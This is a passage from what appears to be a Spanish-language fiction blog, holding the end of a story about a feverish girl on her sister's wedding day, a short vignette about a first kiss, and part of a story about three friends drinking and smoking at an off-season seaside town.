acariciarlo.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">El día del casamiento Lupe todavía estaba enferma. Con la puerta entreabierta vio cómo Camila se ponía el vestido blanco. Le quedaba mejor que a la modelo de la revista. Juana le hacía unos rulos en el pelo con la buclera y Miguel planchaba su camisa. Había soñado toda la semana entre fiebres con ese momento. Lupe comía del tupper de calafate que le había llevado Miguel a la cama. Sabía que tenía los labios morados, le encantaba verse al espejo con los labios pintados de calafate. Ahora no podía mirarse en ningún lado. Para compensar su aburrimiento, la habían dejado comer todos los que quisiera. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Tenía el mismo pijama hacía cuatro días, había perdido la cuenta de cuántas veces había transpirado y cuántas veces se había secado entre las sábanas. Tenía el pañuelo celeste de Juana puesto alrededor de la garganta y el pelo largo y enrulado despeinado. Antes de que abrieran la puerta, ya había llegado a la habitación el olor al perfume de su mamá. Después escuchó las voces, el eco de los tacos viajando por el pasillo que Lupe conocía de memoria. ¿Y si había cambiado en ese tiempo de cama? ¿Si al salir de las paperas se encontraba con que el mundo era otro? La fiebre la mareó. Sabía que quien come calafate, siempre vuelve a la Patagonia. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Camila estaría atravesando el salón con su vestido, todos sonriéndole por haber sido la elegida. La abuela Celia tendría puestos sus aros azules y ese perfume que se le pegaba a la ropa de Lupe después de abrazarla y le duraba todo el día. Miguel ya estaría en el medio de la pista con los zapatos de taco robados de alguna desprevenida, las luces de colores, los brazos hechos de manteca. Bernardo era alto y su color era el blanco de su pelo. Todos bailaban atravesando el cuerpo de Lupe, felicitando a Camila, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">qué bien lo hiciste</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">¡te contrato para el mío!</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Risas, risas.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Estás bien? —susurró Camila entrando a la habitación. Con una mano se cubría la boca. Se acercó a la cama y puso su mano libre sobre la frente de Lupe.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Por qué, por qué? —Abrió los ojos grandes y agarró a su hermana por el cuello con toda la debilidad de sus paperas. Como si alguien la hubiese desenchufado, cayó rendida sobre la almohada. Camila le acarició la frente y el pelo. Cuando levantó la sábana para acomodarla, sintió el líquido espeso de la clara de huevo y la baba amarilla que empezaba a colarse entre las arrugas de las telas. Los pedazos de cáscara aplastada eran como una moneda en el cemento, en las vías del tren, y tuvo que salir corriendo. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 12pt; padding: 0pt 0pt 8pt; text-align: justify;">
<div style="text-align: justify;">
<span style="font-weight: normal;"><br /></span></div>
<span id="docs-internal-guid-1e463437-7fff-298b-78e2-478c29f66591" style="font-weight: normal; text-align: start;"><div dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 8pt; margin-top: 12pt; text-align: justify;">
<span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;">A Lupe le pareció que soñaba con la ventana abierta, y cuando abrió los ojos vio a su mamá sentada en la cama de al lado, la mitad del torso afuera fumando un cigarrillo. Debía ser pasado el mediodía porque se sentía el olor de la comida. Entrecerró los ojos para hacerse la dormida y poder espiarla. Juana se dio cuenta. </span></div>
<div dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 8pt; margin-top: 12pt; text-align: justify;">
<span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;">—Perdoname, Lupe, es el único lugar donde puedo estar sola.</span></div>
<div dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 8pt; margin-top: 12pt; text-align: justify;">
<span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;">El humo que entraba por la ventana la hizo adormecerse. </span></div>
<div dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 8pt; margin-top: 12pt; text-align: justify;">
<span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; font-family: Arial; font-size: 12pt; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; vertical-align: baseline; white-space: pre-wrap;">—Tuve tu embarazo en la guerra. Todo el tiempo estaba nerviosa, nunca había visto tantos aviones. A las ocho en casa. Las alpinas de madera, ¿y si caía una bomba? Vos eras mi primera hija. Mi único objetivo era que sobrevivieras… Y con todos los muertos del presidio, dando vueltas por ahí, en la iglesia donde se casó tu prima. Esta isla es una maldición.</span></div>
</span></h3>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-38716569108024265152019-08-14T22:12:00.001-07:002021-02-17T11:07:05.350-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt; text-align: justify; text-indent: 36pt;">
<span style="background-color: transparent; color: black; font-family: "Times New Roman"; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Volvieron a la plaza fumando un cigarrillo cada una. Las demás estaban sentadas mirando a los chicos jugar. A Pony le parecían unos nenes. Vicky estaba un poco alejada, tirada sobre el pasto en los brazos de Chucho. La pelota voló y cayó a los pies de Julia. Fue Nicolás el que corrió a buscarla. Se agachó y le clavó los ojos en la mirada. El olor de su transpiración la mareó. Se agachó ella también y lo escuchó agitado, él se acercó sin pensar y le dio un beso en la boca. Corrió de vuelta a la cancha y siguió el partido. Ella lo miraba desde afuera, intentaba distraerse con sus amigas pero no había caso. Diez minutos después el metió un gol. Cuando se acercaba a la esquina donde estaba Julia, ella sentía la corriente eléctrica que los imantaba. Tenía miedo de que el resto del mundo se cayera por el precipicio que aquel amor iba construyendo a su alrededor.</span></div>
<span id="docs-internal-guid-8ec63fea-7fff-e926-1abb-1dd4c7e34acf"></span><br class="Apple-interchange-newline" /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-86299932309092339922019-02-10T16:39:00.001-08:002021-02-17T11:07:05.429-08:00El reloj patriarcal<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal" style="margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Orense era un viejo pueblo de
pescadores donde fuera de temporada vivía una docena de familias. Les habían
asegurado que en esas últimas semanas de noviembre ellos serían los únicos
turistas. Fue Ofelia la que reconoció la casa de la foto frente al mar. En el
balcón había un nene flaco colgando de la baranda, la remera levantada dejaba
su panza a la vista. Junto a la puerta de entrada había un hombre con bigotes y
gorra. Cuando Ofelia bajó del auto, vio que le faltaba una mano. Esperó a que
Manuel abriera el baúl para sacar los bolsos. Sebastián la tomó por los hombros
con cariño. Sopló un viento fuerte que hizo volar la arena. El nene que colgaba
empezó a reír, su risa hacía eco en las casas vacías. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Qué hora es?<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> El viento sacudía el pelo largo de Ofelia.
Giró la cabeza hacia el mar. Sebastián agitó la muñeca y se acercó el reloj a
la cara. Su ojo con estrabismo perdió el rumbo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Las seis. Clavamos siete horas
justo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Dos mosquitos se le posaron en el
antebrazo y Sebastián se golpeó pero no pudo matarlos. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Qué terrible la humedad. —Ella se
sacudió un zumbido de la oreja. —Qué suerte que trajiste el reloj de tu papá al
viaje. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Es mío, ¿qué te pasa? <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Es un reloj patriarcal.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> La risa del nene llegó hasta el mar.
Ofelia se colgó el bolso y trepó el pequeño médano hasta la casa. El hombre de
gorra la esperaba con su única mano extendida. Ella le devolvió el gesto.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —A que estaba muy cargada la ruta
hoy. Buenas tardes, soy el señor Majo. —Tenía una voz gruesa que la sorprendió.
<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Llegamos diez puntos. —No pensaba en
lo que decía. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Adentro de la casa todavía estaban
las luces apagadas. Los chicos no subían, ¿por qué se demoraban tanto? Lo
primero era ver la casa y deshacerse del señor Majo. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> <i>Mi
casa es la verde de acá al lado</i> fue una de las tantas indicaciones que Ofelia
escuchó a medias. Quería dejar todo adentro y darse una ducha. El cielo tronó y
estalló en blanco y azul. El nene golpeaba el techo con los pies y ahora
colgaba con un solo brazo. <i>Es un mono</i>,
pensó ella. <i>El mono le debe haber comido
la mano al padre</i>.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> La casa por dentro era como la
esperaban, una cama arriba, dos abajo, olor a encierro y a mar. Una tele, un
aire acondicionado un poco más rústico del que habían mostrado las fotos. La
heladera ya estaba enchufada. Majo se despidió con un <i>hasta luego</i> y salió. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¡Cierro la puerta! Al mar le gusta
llevarse a la gente con días así.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ofelia la volvió a abrir, el mar
estaba cerca, nadie hubiese querido la puerta cerrada. La niebla nunca entraría
en la casa. El nene tampoco entró. Ella imaginó que habría saltado desde el
techo hasta los hombros de su padre. Desaparecieron.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Dejaron los bolsos al lado de la entrada.
Sebastián se metió en el baño, Manuel desenvolvió el queso, el pan y el salame
que habían comprado en la ruta, y Ofelia descorchó un vino tinto. Sirvió tres
copas, le alcanzó una a Manuel y tomó de la suya. Habían traído tres vinos
tintos más, dos blancos que habían sobrado en navidad, y un gin para hacer gin
tónics.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Sebastián salió del baño. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿A qué hora llegan los demás? <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Ya tendrían que haber llegado. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No entiendo por qué no nos estamos
preocupando. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Y si los atacó el loco de Orense?
<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No digas pavadas.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ofelia no quería que la conversación
llegara a un lugar incómodo. Sirvió más vino. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Esta picada se come en el balcón.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> A todos les pareció buena idea,
Sebastián y Ofelia juntaron las sillas y Manuel subió la tabla grande con la
picada y las copas.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Llevá la petaca que tengo en la
mochila —le dijo a Ofelia. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ella se puso a buscarla mientras los
otros subían las escaleras. La puerta se cerró de golpe. Un viento helado atravesó
el living, la cortina de la ventana se infló como un fantasma. Ofelia se apuró
a encontrar la botella y subió corriendo.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Armaron la mesa con una puerta de
madera que habían encontrado en la habitación y dos baldes. Las sillas miraban
todas al mar. La figura de los dos amigos se recortaba contra el cielo gris. Se
habían sacado las remeras. Sebastián apoyaba la copa de vino sobre su panza.
Manuel hablaba con las manos detrás de la nuca. Sostenía un cigarrillo. Fumaba
cada día más.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ofelia ocupó su lugar y destapó la
petaca. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Delicioso. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Tomó un par de tragos. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Qué rico está el salame. Les dije
que había que comprar las ofertas de la ruta. Brindaron
mientras el cielo estallaba. Era imposible saber si era de día o de noche. La
bombilla de luz lanzó un zumbido fuerte y se apagó.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Bien, nos quedamos sin luz. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Y sin música. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Sebastián terminó el vaso de vino.
Estiró el brazo pidiendo lo que hubiera en la petaca. Manuel se ponía de pie y
levantaba la mirada cada tanto, desde ahí se veía la ruta de tierra por la que
habían llegado. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Igual no creo que el loco de Orense
ataque con una noche así. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Basta, ¿podemos hablar de otra
cosa? <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Seguro que se atrasaron con la
niebla, ya vieron cómo maneja Alejandro.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Cayeron un par de gotas sobre el
balcón, juntaron las cosas y volvieron abajo. Comieron en silencio de pie en la
cocina, tenían mucha hambre tras el viaje. Manuel fue el primero en ir afuera,
bajo el techo que cubría la entrada. Ya quería fumar un cigarrillo.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> El cielo se encendía irregularmente,
el ruido del mar sonaba de fondo.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Sabés qué? Encendé un porro. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¿Antes de que lleguen? <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No podemos esperarlos para siempre.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Ofelia buscó en su bolso la lata
donde traía armados los porros. Habían acordado fumarlos entre todos, pero este
primero podía ser una excepción. Fumaron y tomaron sentados en el banco de
plaza que había en la entrada. Los tres miraban al cielo, nunca se largó a
llover. Oscureció tanto que desapareció la línea del horizonte. El mar se comía
a la tormenta.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Los dioses están enojados. —Ofelia volcó
un poco de licor de la petaca sobre la arena. — ¡Les hago mi ofrenda! <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Bailaban en el médano bajo la luz de
la luna llena, todos tenían el vaso lleno. Ella se movía con los ojos cerrados.
Manuel se reía solo. Sebastián estaba inquieto. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Estoy aburrido, vamos a explorar.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> — ¡Vamos! <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Traje linterna. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Llevamos un gin tónic rutero. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Sí, y dejemos una nota para los
demás.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Manuel cortó la botella de agua
tónica a la mitad y Sebastián preparó el trago. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —No hay hielo todavía, no va a estar
tan bueno. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Ah, no, entonces no.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Los tres se rieron, las risas de los
tres causaban más risas. Eran imparables, Ofelia apoyó la frente en el hombro
de Manuel, Sebastián se agarraba la panza. Se agachó y golpeó el piso con los
puños. Tenía los ojos apretados. Ofelia empezó a toser, se había atorado con su
propia risa. Se abrazaron, las camperas de cuero hicieron ruido al rozarse.
Salieron de la casa haciendo un trencito. Ella iba adelante, seguida de
Sebastián y Manuel. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> La arena estaba húmeda y endurecida,
era fácil caminar. Ofelia al medio iluminaba la bruma que había siempre delante,
Manuel llevaba el rutero y lo iba repartiendo entre los tres.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Acá vive el señor Manco —dijo Ofelia
y señaló a la casa verde. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Todos se rieron. Avanzaron algunas
cuadras y salieron del balneario. El camino subía hacia el médano atravesando
una arboleda. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Y también su hijo mono. —El mar
sonaba tan fuerte que nadie escuchó el comentario y la conversación terminó
ahí.<o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> Treparon el médano y siguieron el
camino entre los árboles. Sebastián acompañaba sus esfuerzos con gruñidos. A lo
lejos vieron un cartel cuyas letras brillaron cuando Ofelia las alumbró. <i>Gruta,</i> decía, y una flecha señalaba hacia
el costado del camino. Subieron varios escalones de piedra, atravesaron una entrada
gobernada por dos árboles y en el medio de una ronda de rosales en flor,
encontraron la gruta, un caracol de mar gigante, hecho de cemento y pintado de
blanco. La punta pinchaba el cielo. Caminaron a su alrededor pasándose el rutero
de mano en mano. Ofelia tenía ganas de vomitar. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
<span style="font-family: "Times New Roman", serif;"><span style="font-size: large;"> —Entremos. <o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: 0.0001pt;">
